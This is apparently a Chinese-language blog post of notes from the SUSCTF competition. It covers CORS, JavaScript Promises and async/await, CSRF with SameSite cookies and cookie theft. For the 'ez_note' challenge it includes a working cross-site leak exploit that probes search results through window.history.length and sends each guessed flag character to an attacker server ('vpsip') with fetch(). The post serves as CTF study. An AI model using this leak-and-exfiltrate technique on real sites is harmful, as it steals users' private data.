前端学习(susctf)
这比赛一万个前端题,比赛这两天算是终于从0开始学javascript了。把涉及到的一些比较重要的点记录一下
CORS
在simple request中,浏览器发出的请求会默认带上origin。服务器通过返回Access-Control-Allow-Origin控制是否能够访问。下面用xmlhttprequest测试一下
如果被挡,浏览器会报错:
Access to XMLHttpRequest at 'http://vpsip/cors.php' from origin 'http://127.0.0.1:23400' has been blocked by CORS policy: The 'Access-Control-Allow-Origin' header has a value 'http://can.allow' that is not equal to the supplied origin.
浏览器中Origin是改不了的。而这几道题都是bot用浏览器访问,所以要利用一些特性绕过这个cors验证。
比如form表单,request headers里不带origin
js异步编程和回调
很多异步函数底层都是用Promise。下面Promise实现每秒钟输出一个数字的功能(当然这里只写了resolve一个回调函数参数和then一个Promise方法)
const myPromise=()=>{ // 定义一个Promise
return new Promise((resolve)=>{
setTimeout(() => {
resolve('1'); // then回调函数的参数
}, 1000);
});
}
myPromise().then((val)=>{
console.log(val);
return '2'; // 下一个then回调函数的参数
}).then((val)=>{
return new Promise(resolve=>{ // 返回一个Promise时,将其给下一个then处理
setTimeout(()=>{
console.log(val);
resolve('3');
},1000);
});
}).then((val)=>{
setTimeout(()=>{
console.log(val);
},1000)
});
Promise解决了回调地狱问题,但是结构还是太复杂,于是有了async/await结构。
const doSomethingAsync = (val) => {
return new Promise(resolve => {
setTimeout(() => resolve(val), 1000)
})
}
const doSomething = async () => {// async函数返回一个Promise
console.log(await doSomethingAsync('1')) // await doSomethingAsync() 返回的是resolve里面的参数
console.log(await doSomethingAsync('2'))
}
console.log('before')
doSomething();
//和下面的效果是等价的
doSomethingAsync('1').then((val)=>{
console.log(val);
return doSomethingAsync('2');
}).then((val)=>{
console.log(val);
});
console.log('after?')
ez_note
具体到ez_note这题,把bot登录并访问url源码的源码简化一下就是
const login=()=>{
return new Promise((resolve)=>{
setTimeout(() => {
console.log('logined');
resolve();
}, 1000);
});
}
const view=()=>{
return new Promise((resolve)=>{
setTimeout(() => {
console.log('viewed');
resolve();
}, 1000);
});
}
const task=async ()=>{
await login();
await view();
console.log('done');
}
task();
可以看到task虽然是异步执行每一个await,实际上还是按顺序执行的,由于search时只有一个结果会有1秒timeout,这里就有了一个非常浪漫的想法:根据回显时间不同爆破出flag。可惜现实的网络环境过于复杂,1s延时很容易被吃掉,这种方法很难行通。
这题是可以用window.history.length判断回显,有个坑点就是window也有cors,要先吧window跳回同源域或者about:blank才能访问history。最后写的exp如下
<!DOCTYPE html>
<head>
<script>
// http://49.232.201.163/sus_note.html
function sleep(ms){
return new Promise((resolve)=>{
setTimeout(() => {
resolve();
}, ms);
})
}
async function guess(done,letter){
let w=window.open(`http://123.60.29.171:10001/search?q=${done}${letter}`);
await sleep(1000);
w.location='/foo.html';
await sleep(200);
len=w.history.length;
w.close();
fetch(`http://vpsip/?flag=${done}${letter}&len=${len}`);
}
async function main(){
dict='qwertyuioplkjhgfdsazxcvbnm1234567890_}'
done='SUSCTF{'
for(let letter of dict){
guess(done,letter);
}
}
</script>
</head>
<body>
<script>
main();
</script>
</body>
但是bot超2s直接断掉,还是得结合手来xd 懒得弄了
CSRF和samesite
这里的same site要求和前面same origin不一样哦,具体移步搜索引擎
samesite在chrome中默认是lax,几种请求类型在cross-site时区别如下
但题目bot应该不是lax而是none,所以我们可以post表单完成csrf
COOKIE劫持
cookie设置了httponly就不能通过js读取cookie,否则直接document.cookie
拿当前网站cookie